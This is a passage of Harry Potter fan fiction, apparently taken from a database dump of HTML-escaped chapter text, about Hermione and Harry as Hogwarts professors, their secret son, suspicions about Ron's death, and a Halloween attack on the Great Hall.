hands raised.<br><br>&quot;Very well then,&quot; Harry continued. &quot;Open your books again to page five. Recognizing the tools of the Dark Arts...&quot;<br><br>****<br><br>Hermione glanced at her watch. 2:15 PM. At 2 PM exactly, she was to be teaching the Hufflepuff and Gryffindor sixth years. She looked out at her classroom. Half the seats were empty; the other half were only filled with the boys of that year and those houses. <br><br>Clearing her throat, she addressed one Hufflepuff. &quot;Albert, where are your classmates? It\'s the third week of classes; everyone should know their schedules.&quot;<br><br>She could have almost sworn a faint scowl appeared on the boy\'s face. &quot;I don\'t know, Professor. But I expect they should be along soon.&quot;<br><br>&quot;If you don\'t know where they are, Albert, how can you presume to know that they\'ll be here soon?&quot;<br><br>Another boy, Phillip Pynecrest, spoke up. &quot;We have Defense Against the Dark Arts right before this, Professor Weasley.&quot;<br><br>Hermione blinked. &quot;And...this is relevant how exactly?&quot;<br><br>This time, she was positive that Albert Batwood scowled. &quot;Professor Potter teaches it.&quot;<br><br>&quot;I\'m well aware of that,&quot; Hermione replied, dryly. &quot;Again, I ask, where are all your...&quot;<br><br>Just then, the missing Hufflepuff and Gryffindor girls burst into the classroom, flushed and out of breath, but giggling madly. <br><br>Hermione crossed her arms. &quot;Did you get lost, girls? Or did you assume I would hold class until you were ready to show up?&quot;<br><br>&quot;We\'re sorry, Professor,&quot; Lily Waterman managed to apologize in between trills of laughter. &quot;We...stayed after in Defense to...&quot; She stopped; evidently her cheeks were too red to go on. <br><br>Carry Carthwaight continued for her. &quot;We were talking to Professor Potter, Professor Weasley. We can go back and get a note if you\'d like.&quot; All the girl\'s faces lit up at the idea. <br><br>&quot;That\'s quite all right.&quot; Hermione sighed. &quot;Just...take your seats.&quot; Still giggling, the girls managed to situate themselves in the empty seats around the room. Hermione walked to the chalkboard. &quot;Now, we left off last lesson talking about the history of elf enslavement, which as I\'m sure you know, is still one of the more barbaric acts in common practice throughout the...&quot; Loud whispers from one corner of the room drew Hermione\'s attention. She turned around to see Lily and Carry in a deep, whispered conversation. &quot;Ahem!&quot; The girls sat up straight. &quot;Is there something you two would like to say about elf enslavement?&quot; <br><br>&quot;No ma\'am,&quot; the girls replied. <br><br>Hermione turned back to the board and started writing. &quot;There are over a hundred house-elves at Hogwarts, but I\'m pleased to say we are one of now three magic schools that provide wages and basic worker\'s rights to...&quot; Another few whispers reached her ears. She spun around in time to catch sight of Miles Goldener passing something to Harmony Feld. &quot;Miss Feld.&quot; Hermione walked over to the girl and held out her hand, expectantly. Harmony shot a mournful look to Lily and Carry before handing Hermione the folded piece of parchment. <br><br>&quot;You know my rules about notes,&quot; Hermione said as she unfolded the paper. Clearing her throat, she began to read. &quot;\'I can\'t believe how green his eyes are; they\'re the color of the Quidditch green....that\'s nothing, can\'t you just imagine running your fingers through that...\'&quot; Laughter filled the room, save for a few of the boys who looked extremely put out. Hermione forced herself to continue with the punishment. &quot;\'...that tousled hair....I know he\'s older, but he can\'t be anymore than thirty....twenty-eight, I looked up his birthday in my history book....\'&quot; <br><br>Mortified, Lily and Carry slid down into their seats. Hermione crumpled up the parchment paper and stuffed it into the pocket of her robe. &quot;Well, it\'s good to know that you\'ve at least opened your history book, Miss Waterman.&quot; There was more laughter as Hermione continued, &quot;I trust we\'ve all learned a valuable lesson here,&quot; she said, a bit more flustered than she had intended. <br><br>&quot;Yeah, never let your girlfriend stay after in Defense class,&quot; Albert muttered out loud. The other boys snickered. <br><br>Hermione shook her head. &quot;If we could get back to the elves...&quot; <br><br>&quot;Professor Weasley?&quot; Harmony Feld raised her hand. &quot;You were there, weren\'t you? When Professor Potter defeated He-Who-Must-Not-Be-Named?&quot; <br><br>&quot;Didn\'t I answer this question last year?&quot; The students gave no indication that she had. Hermione gave in. It was obvious they weren\'t going to spend the lesson talking about elves. &quot;Yes, I was there.&quot;<br><br>Phillip leaned forward. &quot;He almost died, didn\'t he? Professor Potter? He overcame the Killing Curse, but it almost got him, right?&quot; <br><br>Hermione closed her eyes. An image of Harry\'s half-broken, bloody body flashed across her mind. She shuddered despite her heavy robes. &quot;The important thing is that Vo...You-Know-Who was defeated. He didn\'t win and Harry lived.&quot; <br><br>All the girls in the class beamed. <br><br>&quot;But he still has followers, hasn\'t he?&quot; Albert asked. &quot;Ready to do his work for him?&quot; <br><br>&quot;The Darkness will always have a following, Albert,&quot; she replied sadly. &quot;But everyone who chooses good...&quot; She swallowed. &quot;And everyone who dies for good makes it all that more strong, until one day, the Darkness won\'t have anything to hold onto.&quot; The students pondered her words for a minute. &quot;Now...back to the elves.&quot; Groans filled the classroom.<br><br>It wasn\'t until later, when the students were long gone, that Hermione retrieved the crumpled paper from inside her robe. She spread it flat across her desk. <br><br>&quot;Eyes like the Quidditch green,&quot; she muttered. &quot;Please...they\'re far more like emeralds.&quot; She blinked all of the sudden, as though she had forgotten herself. Quickly, she tore up the note and tossed the pieces into the fireplace. Gathering her books, she left the classroom. But a single thought plagued her all the way back to her apartment.<br><br>She could remember, all too well, exactly what it was like to run her fingers through that tousled hair.<br><br>****<br><br>&quot;Don\'t forget...read up on grindylows for next week or it\'s a unscheduled field trip to the lake for all of you!&quot; Laughter followed Harry\'s words as the Ravenclaw and Hufflepuff third years started filing out of the classroom. Hermione waited until most of the students had gone before slipping in unnoticed. The classroom was warm, unlike the open-air corridor, chilled by the late-October wind. <br><br>Hermione hung to the back of the room as two Ravenclaw girls approached Harry\'s desk. &quot;Professor Potter,&quot; one girl, Felicity Foxhall searched for something to say. &quot;Um...what pages are the grindylows on?&quot;<br><br>Harry smiled patiently. &quot;Forty-five to forty-seven, Felicity.&quot; Over the girls\' shoulder, he spotted Hermione. &quot;Is there anything else?&quot;<br><br>Felicity and her friend blushed deeply. &quot;No. Thank you, Professor.&quot; Hermione hid a smile behind her hand as the girls dashed out of the room, giggling all the way. <br><br>&quot;It seems you have quite a fan base,&quot; Hermione addressed him, once the girls were gone.<br><br>His hair flopped over his forehead as he packed up his things. When he brushed it away, Hermione caught a glimpse of his scar. &quot;I only hope they\'re all learning something.&quot;<br><br>&quot;I\'m sure they are.&quot; She walked towards him. &quot;Harry?&quot;<br><br>He glanced up; momentarily shaking her will with the intensity of his eyes. &quot;Yes?&quot;<br><br>&quot;I...I wanted...&quot; Scowling, Hermione tightened her jaw before she started sounding like the girls of the school. &quot;Halloween is next week.&quot; He nodded. &quot;Harry...little Harry...he and I stay in on Halloween since he can\'t go to the feast yet and I don\'t like leaving him alone. I was wondering...&quot; <br><br>She was unable to finish her sentence because just then, Bill Jr ran into the classroom as fast as his gangly legs would carry him. &quot;Professor Potter!&quot; He stopped when he saw they weren\'t alone. &quot;Aunt Herm...I mean, Professor Weasley.&quot; <br><br>&quot;It\'s all right, Bill.&quot; Hermione ruffled his hair affectionately. &quot;You can still call me that when we\'re alone.&quot; Bill Jr glanced at Harry. &quot;Or when we\'re around people who don\'t mind,&quot; she corrected herself. <br><br>Harry failed to hide a grin. &quot;What\'s the matter, Bill?&quot;<br><br>The boy dug into his schoolbag and produced a copy of the day\'s &quot;Daily Prophet&quot;. He handed it to Harry. &quot;I found this in the common room and started to read it, when I noticed something rather strange. Do you see it, too, Professor Potter?&quot;<br><br>Exchanging a look with Hermione, Harry examined the article. His eyes narrowed immediately. <br><br>On the page, in full color and motion, was Draco Malfoy. Ten year hadn\'t changed him beyond making him older. His eyes still held mocking malice; his slicked-back blond hair was anything but pure. The caption on the photo read, &quot;Hogwarts School Council Faces New Entrance Rules Proposition&quot;. In the picture, Draco was in debate with their old Headmaster and friend, Albus Dumbledore. <br><br>Harry watched as Hermione\'s face became quite pale. When he spoke, his tone was grim. &quot;What am I supposed to be looking for, Bill?&quot;<br><br>&quot;You don\'t see it?&quot; Bill pointed to the picture. &quot;At the bottom of Malfoy\'s robe...if you cross your eyes a bit and turn it upside down....doesn\'t it look like the Dark Mark? The one we read about last week?&quot;<br><br>Hermione licked her lower lip. &quot;What do you think, Harry?&quot;<br><br>&quot;I just don\'t know,&quot; Harry mused, turning the paper upside and squinting. &quot;As much as I\'d like to sic the Aurors onto Malfoy, I can\'t imagine that even he would be stupid enough to wear the Mark in public, where anyone could see it.&quot;<br><br>Bill spoke up. &quot;But the Aurors were already...&quot; <br><br>He was interrupted by Hermione. &quot;If Professor Potter doesn\'t think it\'s the Mark, Bill, we should take his word for it. He is, after all, the expert.&quot; She put a hand on her nephew\'s shoulder. &quot;May I ask a favor of you, Bill?&quot;<br><br>The boy looked up at her with a mixture of disappointment and curiosity. &quot;Of course. What is it?&quot;<br><br>&quot;Harry\'s been a little lonely lately, what with the students here and him being so close and yet so far from being one of them. I just bet he would love a visit from his cousin. Now, I know you\'re busy with school and your new friends, but...&quot;<br><br>Bill Jr smiled broadly. &quot;Sure, Aunt Hermione. I\'ll come see him tonight.&quot; He glanced at the paper again and sighed, dramatically. &quot;Thank you, Professor Potter.&quot;<br><br>Harry tore his eyes away from the article. &quot;Thank you, Bill. May I keep this?&quot; The boy nodded and scampered out of the room, leaving Hermione and Harry alone again.<br><br>&quot;He\'s a bright boy,&quot; Hermione said after a moment. &quot;He may have been wrong this time, but at least now you know you\'re teaching your students something.&quot; <br><br>All she got in reply, at first, was a nod. She was about to leave when Harry spoke. &quot;Dumbledore is arriving back tonight.&quot; He looked at her. &quot;He sent me an owl. I\'m to meet with him tonight.&quot; Harry held up the paper. &quot;I\'ll find out for sure, Hermione.&quot; <br><br>&quot;What do you mean?&quot;<br><br>He hit the page with the backs of his fingers, right over Draco\'s face. &quot;If Ron\'s death wasn\'t an accident...I don\'t think we have to look very far to find the responsible parties.&quot; <br><br>She glanced up at the high arched ceiling, blinking back tears. &quot;When are you going to stop? When are you going to accept it?&quot;<br><br>&quot;I have, Hermione.&quot; He lifted his shoulders. &quot;Ron is gone. I can accept that fact without accepting that he was killed in a scaffolding accident. Him...an Auror, obviously working on something you don\'t want me to know about.&quot; Harry shook his head. &quot;It\'s too convenient, an accident. And it insults Ron\'s memory to keep it as such.&quot; He leaned in towards her to brush a tear from her eye. The physical contact, so long forgotten from him, surprised her. She had to stifle a small gasp. &quot;I have to know, Hermione. For your sake as much as his memory.&quot;<br><br>&quot;Harry...&quot; He breathed in the sweetness of his name on her lips. &quot;I just...I don\'t want you...getting in over your head.&quot; <br><br>His fingers lingered on her cheek long after the tear was gone. &quot;Will you trust me to know my own limitations?&quot; It took her awhile, but eventually she nodded. He pulled back. &quot;I\'ll let you know how it goes with Dumbledore.&quot; In one quick motion, Harry slung his bag over his shoulder and prepared to go. He stopped short and turned back around. &quot;What was it you were going to ask me before, Hermione?&quot;<br><br>&quot;I was just...&quot; She took a calming breath. &quot;Would you like to spend Halloween evening with me....and Harry?&quot; <br><br>The smile that lit up his face was brighter than she had ever seen...and it did unwelcome things to her heart. &quot;I would love it,&quot; he replied. There was an awkward moment before Harry started off again, nearly tripping over the first row of desks as he went. When he reached the door, he turned back around once more. &quot;Trust me, Hermione,&quot; he said knowingly. And then, he was gone. <br><br>&quot;I trust you, Harry.&quot; She closed her eyes. &quot;I always have.&quot;<br><br>****<br><br>To Be Continued'),
	(93, 5, 'Disclaimer:  I don\'t own these characters.  I\'m not even British;)<br><br>Author\'s Notes:  I\'m sorry this chapter is so short.  I\'m going into my exams and won\'t be able to write much for the next few days, so I wanted to get this much out.  Also, I wanted to state, for the record, that I\'m not following either the books or the movie, specifically.  I\'m just kind of squashing everything together and hoping everyone likes it.  <br><br>And once again, thank you so much for the feedback.  It is *greatly* appreciated!<br><br>****<br><br>An Organ of Fire<br>by Kristen Elizabeth <br><br>****<br><br>&quot;Canary Creams.&quot;<br><br>The gargoyle thought the password over before revealing the secret door that led to Dumbledore\'s tower.  Harry stepped through it and onto the wooden staircase.  It wound up the tower slowly; he tapped his foot with great impatience.  Bill Jr\'s newspaper was tucked safely into his robes.  He was more than anxious to get some answers from the great wizard.  <br><br>But, he was to be disappointed.  When the stairs stopped in Dumbledore\'s office, he was nowhere to be found.  Harry sighed.  His frown soon slipped into a smile.  The office was exactly the same as it had been ten years earlier.  This was the last place he had visited before leaving that night.  <br><br>&quot;I knew you\'d find your way back here someday.&quot;<br><br>Harry spun around and came face to bearded face with Albus Dumbledore.  The old man had appeared virtually out of nowhere, yet it didn\'t surprise Harry in the least.  He smiled again.  &quot;You\'ve always known more about me than I do.&quot;<br><br>Dumbledore shook his head.  &quot;I just have more faith in you than you have in yourself.&quot;  He walked around to his desk; his dark purple robes brushed the floor.  &quot;It is good to have you back, Harry.  You\'ve returned just in time.&quot;<br><br>&quot;I don\'t know about that.&quot;  He scratched his cheek.  &quot;I have to say...all of this confuses me.&quot;  Harry sat in one of the old, wooden chairs.  &quot;I\'ve been trying to put the pieces together, but...no success so far.&quot;<br><br>&quot;Even if you managed, Harry, it still wouldn\'t make sense.  It doesn\'t make a bit of sense to me and I\'m right in the middle of it all.&quot;  Dumbledore clapped his hands and a plate of ham and chicken sandwiches appeared.  &quot;Are you hungry?&quot;  <br><br>Harry helped himself to a sandwich, but didn\'t eat.  &quot;Can Malfoy do it?  Can he keep mixed blood wizards out of Hogwarts?&quot;<br><br>Dumbledore chewed thoughtfully.  &quot;He could.  Yes.&quot;  <br><br>&quot;And...this doesn\'t concern you?&quot;  <br><br>&quot;Just as I had faith you would return to us, I have faith that people will not allow such a horrible thing come to pass,&quot; Dumbledore replied.  <br><br>Harry was confused.  &quot;But, you just said that he could do it.  I\'m afraid I don\'t understand.&quot;  He looked down at his sandwich.  &quot;There\'s a lot I don\'t understand.&quot;<br><br>Dumbledore leaned forward.  &quot;We all miss him, Harry.  His death was a shock to everyone.&quot;<br><br>It didn\'t surprise Harry that the older man could telling what he was thinking.  &quot;You don\'t really believe it was an accident, do you?&quot;  Dumbledore didn\'t reply, but his eyes gave Harry the answer he was hoping to hear.  &quot;Hermione does,&quot; Harry continued.  &quot;She won\'t even consider the possibility that it was anything else besides an accident.&quot;<br><br>&quot;Don\'t write her off so quickly,&quot; Dumbledore advised.  &quot;In her heart, she knows the truth.&quot;<br><br>&quot;Then why won\'t she do anything about it?!&quot;  He took an angry bite of his sandwich.<br><br>Dumbledore reached for a second sandwich.  &quot;She watched one man she loved die.&quot;  His eyes were full of empathy.  &quot;I\'d imagine she\'s protecting the other man she loves from the same fate.&quot;<br><br>Harry nearly choked.  &quot;Is that me?&quot; he managed to ask after a moment.<br><br>&quot;Well, I suppose she could be protecting your son as well, but yes, I was referring to you.&quot;<br><br>This time, Harry did choke.  Dumbledore clapped his hands again and a goblet of pumpkin juice appeared.  Harry took a long drink and cleared his throat.  &quot;You know?&quot; <br><br>&quot;Of course I know.  All one has to do is look at the boy\'s face.&quot;  Dumbledore brushed crumbs off his beard.  &quot;I\'m sure it came as quite a shock to you, though.&quot;<br><br>&quot;Just a bit.&quot;  Harry coughed.  &quot;She didn\'t even want me to talk to him at first, but now...&quot;  He grinned.  &quot;She\'s invited me to spend Halloween with them.&quot;<br><br>Dumbledore nodded approvingly.  &quot;Keep working at it, Harry.  Family is the most important thing we have right now.&quot;  <br><br>The mood darkened again.  Harry reached into his robes for the paper.  &quot;One of my students pointed something out to me today.&quot;  He indicated the picture of Malfoy.  &quot;Was it the Dark Mark on his robe?&quot;<br><br>&quot;Ah yes...I suppose we shouldn\'t have passed young Draco in Defense Against the Dark Arts, should we?&quot; Dumbledore mused.  <br><br>&quot;It is then.&quot;  Harry\'s fist tightened.  &quot;That bastard....and right out in public, too.  Like he\'s challenging us.&quot;  His lip curled up.  &quot;He looks so pleased with himself.  I wonder if he looked this way when he killed...&quot;  Harry stopped.  <br><br>&quot;To accuse a wizard of another wizard\'s death is a serious thing, Harry.&quot;  Dumbledore finished his dinner and waved his hand to clear away the plate and goblet.  &quot;There are things you need first.  Evidence...proof...witnesses.  All those wonderful Muggle ideas that just happen to be our way, too.&quot;  He shook his head.  &quot;If only the boy could see how much alike we all are.&quot;<br><br>Harry narrowed his eyes at Draco\'s picture.  &quot;He\'s always been twisted like this.  I\'ve known it since day one.  I just never thought he would carry it this far.&quot;  He looked up at Dumbledore.  &quot;I\'ll get evidence.  I\'ll get proof.  I won\'t let him get away with it, Professor.  And I won\'t let him turn this place into some sort of exclusive club to which only the people *he* deems worthy can belong.&quot;  *And,* he added silently.  *I won\'t let him hurt Hermione anymore.*<br><br>&quot;Like I said...&quot;  Dumbledore pressed the tips of his fingers together.  &quot;You\'ve come back just in time.&quot;<br><br>****<br><br>Halloween dawned cold and clear.  Harry went through the motions of the day without much thought to them.  He was fairly certain he assigned homework in all of his classes, but he couldn\'t remember for sure.  He supposed he\'d find out on Monday.  All day long, he kept thinking about that night.  Getting to spend time with little Harry and Hermione....it was far better than a dozen feasts put together.<br><br>When his last class was over, Harry ran all the way back to the apartment corridor.  He stopped in front of the empty picture frame.  &quot;Miss Belle?&quot;  The woman in the painting was nowhere to be found.  &quot;Bloody hell,&quot; he muttered.  &quot;Miss Belle...where are you?&quot;  <br><br>The woman\'s head poked out from the side frame.  &quot;Can\'t you wait just a damn...&quot;  She stopped and the frown on her face was replaced with a bright smile.  &quot;I\'m sorry, Professor Potter.&quot;  Miss Belle stepped back into the frame, holding up her dress with one hand.  She displayed no signs of modesty at her barely covered figure.  &quot;I was just freshening up a bit for the holiday.&quot;  <br><br>Harry shook his head.  &quot;You do realize there are children about, don\'t you?&quot;<br><br>Miss Belle grinned, laviciously.  &quot;Password, Professor Potter?&quot;  <br><br>&quot;Deadly nightshade.&quot;  <br><br>The portrait door swung open.  Harry jogged down the hall and quickly let himself into his apartment.  Once inside, he stripped off his robe and sweater and went searching in his closet for fresh clothing.  He was about to pull the new sweater over his head when he was hit by a long-forgotten sensation.  <br><br>His scar started to throb.  <br><br>Harry slapped a hand over his forehead.  The sweater fell out of his other hand and hit the rug beneath his feet.  A stab of fear pierced him.  Voldemort.  His scar only ever hurt when Voldemort was up to something.  <br><br>&quot;No,&quot; Harry told himself firmly.  &quot;You defeated him.  He can\'t ever come back.&quot;  <br><br>But a little voice in the back of his head spoke up, *But he could...he could always find a way, you know...*  <br><br>He held his head between his hands.  &quot;No!  He can\'t!&quot;  Suddenly, there was a loud knock on the door.  Harry looked up.  There was a second knock followed by Hermione\'s voice.<br><br>&quot;Harry?&quot;<br><br>Taking a breath, Harry walked over and opened the door.  Hermione\'s lovely face greeted him, but it wasn\'t until she was standing in front of him that he realized he was only wearing pants.  <br><br>A blush colored her cheeks.  &quot;Well...hello, there.&quot;<br><br>If Hermione\'s blush simply colored, Harry\'s positively painted his cheeks red.  &quot;Um...hello.  I wasn\'t expecting...company.&quot;<br><br>&quot;Evidently.&quot;  It was a struggle to keep her eyes level with his; every so often as she continued to speak, her glance would dart down to take in the sight of his bare chest.  &quot;Don\'t worry, Harry.  I have seen it before, remember?&quot;<br><br>&quot;Of course I...&quot;  He stopped when his scar throbbed again.  <br><br>Hermione frowned.  &quot;Are you all right?&quot;  <br><br>&quot;I\'m fine.  It\'s just...&quot;  He shook his head.  &quot;It\'s nothing.&quot;  <br><br>To his surprise, she reached a hand up to brush his hair away from his forehead.  Her fingertips glanced over his scar, instantly soothing away any hurt.  Harry closed his eyes at the sensation.  <br><br>But as soon as it happened, it was gone.  Hermione pulled her hand back and cleared her throat.  &quot;I just wanted to make sure you\'ll be there tonight.  Harry is looking forward to it very much.&quot;  <br><br>&quot;I\'ll be there,&quot; he assured her.  &quot;I wouldn\'t miss it for the world.&quot;  <br><br>And he didn\'t.  Two hours later, he was at her door, far more dressed than he had been earlier.  He carried with him a great package of special candies from Weasley\'s Wizard Wheezes for little Harry.  Nervously, he knocked on her door.  <br><br>His son answered.  &quot;Professor Potter\'s here, Mum!&quot; he shouted excitedly.  Harry felt himself being ushered in.  &quot;Happy Halloween!&quot;<br><br>&quot;Happy Halloween, Harry.&quot;  He handed him the box of treats.  &quot;Mind the toffee, unless you\'d like to have a foot-long tongue.&quot;  The boy looked delighted at the prospect.   <br><br>Just then, Hermione appeared from the tiny kitchen.  Harry swallowed heavily.  Her hair, which was normally pulled back in the tightest of twists, was down around her shoulders.  Although still thick, it seemed to have lost the bushiness it had possessed in their youth.  She had removed her school robe was clad in a simple skirt and sweater with an apron tied around her slender waist.  <br><br>&quot;Mum\'s making mince pie,&quot; little Harry declared.  &quot;It\'s my favorite.&quot;  <br><br>Harry smiled.  &quot;Mine, too.&quot;  <br><br>A thought occurred to their son.  &quot;You\'ve never been here, have you?  Come on, then!  I\'ll show you!&quot;<br><br>&quot;Harry...I\'m sure Ha...Professor Potter doesn\'t want to...&quot;<br><br>But the two men in her life were already off.  <br><br>&quot;This is the staircase,&quot; little Harry announced as they walked up it.  When they reached the landing, he pulled Harry towards one of the two rooms.  &quot;This is my room.&quot;  <br><br>Models of various magical creatures, most of whom were napping on the shelf above his bed.  Posters of the current Quidditch champions...Harry fought back a wave of jealousy upon seeing his old captain, Oliver Wood, playing Keeper for the English team.  A hand-sewn quilt.  A tank full of fish.  A rather large framed photograph of Ron, Hermione and little Harry...the same picture that had appeared in the article about Ron\'s death.  <br><br>Harry found his son\'s room to be both comforting and painful.  As little Harry talked on, describing each and every detail, Harry\'s eyes wandered over to the other door...the door that presumably led to Hermione\'s bedroom.  It was half-open; if he leaned back and turned his head, he could just see into it.  The edge of a four poster bed with a peach slip hanging over it....  <br><br>&quot;Professor Potter.&quot;  He was snapped back to attention by his son\'s voice.  &quot;My dad said you were a terrific Quidditch player.  Is that true?&quot;  <br><br>&quot;I was all right,&quot; Harry admitted.  <br><br>Little Harry\'s eyes shone.  &quot;Would you teach me??  I want to be on my House team, too, just like you were!&quot;  <br><br>The idea appealed to Harry, getting to spend time with his son while rediscovering his favorite past time.  But he said, in what he hoped was a paternal way, &quot;We should probably ask your mother, you know.&quot;<br><br>&quot;Ask me what?&quot;  Hermione came up the stairs, this time without her apron.  <br><br>&quot;Ask you...um...&quot;  Harry thought quickly.  &quot;If those pies are ready yet.&quot;  He looked at the boy and winked, conspiratorially.  Little Harry caught on and said nothing.  <br><br>&quot;They\'re in the kitchen.&quot;  Hermione raised an eyebrow at Harry as their son raced past her, headed for the pies.  &quot;If it\'s Quidditch, my answer is...&quot;<br><br>Harry sighed.  &quot;\'No\'.  I know.&quot;<br><br>&quot;...yes,&quot; she finished.  Harry blinked.  Hermione continued, &quot;It\'s all he ever thinks about.  And I\'d rather him learn from you than from some sixteen year old boy next year.&quot;  <br><br>He smiled.  &quot;I learned from a sixteen year old boy.&quot;<br><br>&quot;You also nearly choked on the Snitch during your first game.&quot;  She poked his chest.  &quot;Come on.  He\'ll eat all the pies if we don\'t get down there soon.&quot;<br><br>****<br><br>Hours later, stuffed full of mince pies and trick candies, little Harry stood up after the last game of Exploding Snap, yawned and asked, &quot;May I go to bed now, Mum?&quot;<br><br>Hermione laughed.  &quot;Wait...let me savor this moment.&quot;  She closed her eyes.  &quot;Of course you may.  Just come here and give me a kiss.&quot;  <br><br>Their son obliged and immediately wiped his lips.  He grinned when Hermione slapped his backside playfully.  &quot;Goodnight, Mum.  Goodnight, Professor.&quot;  <br><br>&quot;Goodnight,&quot; Harry replied, gathering up the Snap cards.<br><br>&quot;Don\'t forget to brush your teeth!&quot; Hermione called after him.  &quot;And feed your fish; they\'re looking a bit peaked!&quot;  Once the boy was gone, she settled back into the couch cushions.  &quot;I\'m not sure those fish are going to make it.  I don\'t know what sort of animal to get him next year.&quot;  <br><br>Harry chose his words carefully.  &quot;Might I make a suggestion?&quot;  Hermione turned her head and waited for him to continue.  &quot;Hedwig is getting rather bored with just my letters to carry.  How would you feel about letting Harry have her next year?&quot;<br><br>&quot;You...wouldn\'t mind?&quot;  <br><br>&quot;I\'d like my son to have something of mine.  Even if he\'s not aware of it.&quot;  <br><br>Hermione\'s reply was soft.  &quot;He has more of you than you realize, Harry.  Your eyes, your nose....more importantly, your courage and your compassion.  Your sense of right and wrong.&quot;  She stared at the fire.  &quot;He is your son.&quot;<br><br>&quot;Those things could have just as well come from living with you and Ron.&quot;  Harry leaned his head back and folded his hands over his forehead.  There was a heavy pause.  &quot;Why did you marry him, Hermione?&quot;<br><br>Words failed her for a minute, until she recovered from the shock of the question.  &quot;I...was an unwed...he loved me....he loved Harry.&quot;  She rubbed her temple.  &quot;It just...made sense.  Once we got married, the rumors...they stopped.&quot;<br><br>&quot;What rumors?&quot;<br><br>Hermione snorted softly.  &quot;Do you know how many people were suspected to be Harry\'s father?  Everyone had a theory...my personal favorite was that it was Draco Malfoy.&quot;  Harry looked utterly horrified.  &quot;The very idea of being with him is so repulsive to me that it\'s almost comical.&quot;  She paused.  &quot;You\'re the only one no one ever suspected.  I guess they figured that Harry Potter had better taste.&quot;  <br><br>&quot;Hermione...&quot;<br><br>She cut him off.  &quot;When Ron and I got married, it all made sense to everyone.  Harry\'s hair just helped things.  And Ron was a wonderful father....he adored Harry as if he were his own.&quot;  <br><br>&quot;You never had another child though?&quot;<br><br>&quot;Not for lack of trying.&quot;  <br><br>Harry cleared his throat.  He wasn\'t keen on hearing such things and regretted bringing it up.  &quot;I was just wondering.  I\'m glad you had each other.&quot;  The fire crackled during the silence that followed.  &quot;I\'m sorry, Hermione,&quot; he finally whispered.  <br><br>&quot;Harry, you don\'t have to...&quot;<br><br>He held up a hand.  &quot;Yes, I do.&quot;  Sitting up straight, he reached for her hand.  &quot;I\'m sorry for leaving.  I\'m sorry for making you suffer.&quot;  Unconsciously, he laced his fingers with hers.  &quot;I\'m sorry for not being there when he was born and for not holding your hand.  But most of all...I\'m sorry for ruining what was between us.&quot;  He squeezed her hand lightly.  &quot;I\'m more sorry for that then you\'ll ever know.&quot;<br><br>&quot;You didn\'t ruin things.&quot;  Hermione squeezed back.  <br><br>&quot;I didn\'t?&quot;  <br><br>She stared into those eyes, drawn into them once again as though ten minutes, not ten years had passed.  &quot;No.  We can be...&quot;  He stopped her sentence with a long, lingering kiss.  Hermione whimpered ever so slightly; it felt too good to be real.  When Harry pulled away, she immediately longed for the feeling again.  &quot;...mended.&quot;<br><br>&quot;We can?&quot;  Hermione nodded  in response and closed her eyes.  Grinning, Harry leaned in for another kiss.  But before his lips could touch hers, a burning pain shot through his scar.  He drew back, clutching his forehead in agony.  <br><br>&quot;Harry?!&quot;  She frantically cupped his face in her hands.  His eyes were closed; his body taut.  &quot;What\'s wrong?  Are you all right??&quot;<br><br>His back bent.  &quot;My scar...&quot; he managed to get out.  <br><br>Hermione paled.  &quot;Harry...your scar only hurts when...&quot;<br><br>A blood-curdling scream cut her off.  It was followed immediately by another.  Both seemed to be coming from a great distance away.  Somewhere in the vicinity of the Great Hall.  <br><br>They both jumped to their feet; Hermione put an arm around Harry\'s waist to steady him.  Fear clutched at both of them.  They were about to make a simultaneous advance for the door when little Harry appeared on the stairs, pajama clad and sleepy-eyed.<br><br>&quot;Mum?  What was that?&quot;<br><br>&quot;Go back to bed, Harry.&quot;  Hermione\'s voice was firm, but frightened.  &quot;Don\'t leave your room for anything, do you understand?&quot;  He nodded; his eyes were now wide.  Turning on his heel, he ran back up the stairs.  <br><br>Together, Hermione and Harry stumbled out the door and down the hallway.  When they stepped out into the main corridor, they were surprised to find themselves in total darkness.  Not a candle nor a lantern was lit.  The bits of sky they could see through the windows were completely black.  <br><br>&quot;They\'ve come for them.&quot;  They whipped around upon hearing Miss Belle\'s voice.  She was sitting at the bottom of her frame, with her knees tucked up to her chin.  Her frail shoulders shook.  &quot;They\'ve come...&quot;<br><br>Hermione failed to keep her voice from wobbling.  &quot;Who\'s come?&quot;<br><br>Miss Belle refused to answer.  She simply buried her face in her skirts.  Harry grabbed Hermione\'s hand, valiantly ignoring the shooting pain in his scar.  From the main corridor, they could hear more screams and a huge wave of raised voices.  &quot;Come on.  I think we need to get to the Hall.&quot;<br><br>&quot;Harry,&quot; Hermione whispered after a few minutes.  &quot;I can\'t see anything.&quot;<br><br>He held her hand tighter.  &quot;I know.&quot;  Fumbling in his pocket for a moment, he produced his wand.  &quot;Lumos!&quot;  <br><br>A shimmering light appeared at the end of his wand, but it only managed to illuminate a small area around them.  Harry pushed on until they reached the staircase that would take them down to the Great Hall.  The shouts and cries were getting louder; there was fear in the air, so thick that they could almost taste it.  <br><br>Harry ran to the double wide doors that led into the Hall and pulled.  They would not budge.  He thought quickly.  &quot;Alohomora!&quot;  Still, they remained closed.  <br><br>&quot;It\'s not merely locked,&quot; Hermione surmised.  &quot;It\'s some sort of spell keeping them closed.  Try \'diffindo\'.&quot;  <br><br>He raised his wand.  &quot;Diffindo!&quot;  The heavy wood split; they jumped back as a huge piece fell to the ground.  Harry took a breath and lifted his voice to be heard over all the shouting.  &quot;Let\'s...&quot;  He was cut off by a small body, running out of the newly opened door.  Harry managed to catch the child\'s collar before he ran by.  It was a Ravenclaw second year, Alan Fitch.  &quot;Alan....tell us what\'s happened.&quot;<br><br>The boy was nearly crying.  &quot;All the...all the lights went out.  And then...people just started screaming!&quot;  <br><br>Harry let the boy go.  &quot;Get to your dormitory and stay there.&quot;  Alan ran off.  Several more children streamed past them, running for safety.  Harry felt for Hermione\'s hand again; it was cold and clammy, just like his.  With as much bravado as they could muster, they entered the Hall.  <br><br>The light from Harry\'s wand was still needed; when they looked up at the enchanted ceiling, all they saw were dark clouds covering every star and the entire moon.  The Hall was pitch black, but certainly not silent.  Cries and screams echoed all around them, along with the voices of the other Professors and the prefects shouting instructions to the Houses.  <br><br>&quot;Hufflepuffs....over here...&quot;<br><br>&quot;Band together, Gryffindors...&quot;<br><br>Hermione clutched Harry\'s arm.  &quot;What\'s going on?&quot;<br><br>&quot;I don\'t know.&quot;  His brow was furred as he tried to sort out the chaos around them.  &quot;If I didn\'t know better...I\'d say the entire school was under some sort of attack.&quot;  <br><br>She never got a chance to reply.  Right then, something or someone ran straight for Hermione.  All she could sense was a massive figure coming towards her, muttering a phrase she couldn\'t understand, and then she was knocked into Harry.  It was the last thing 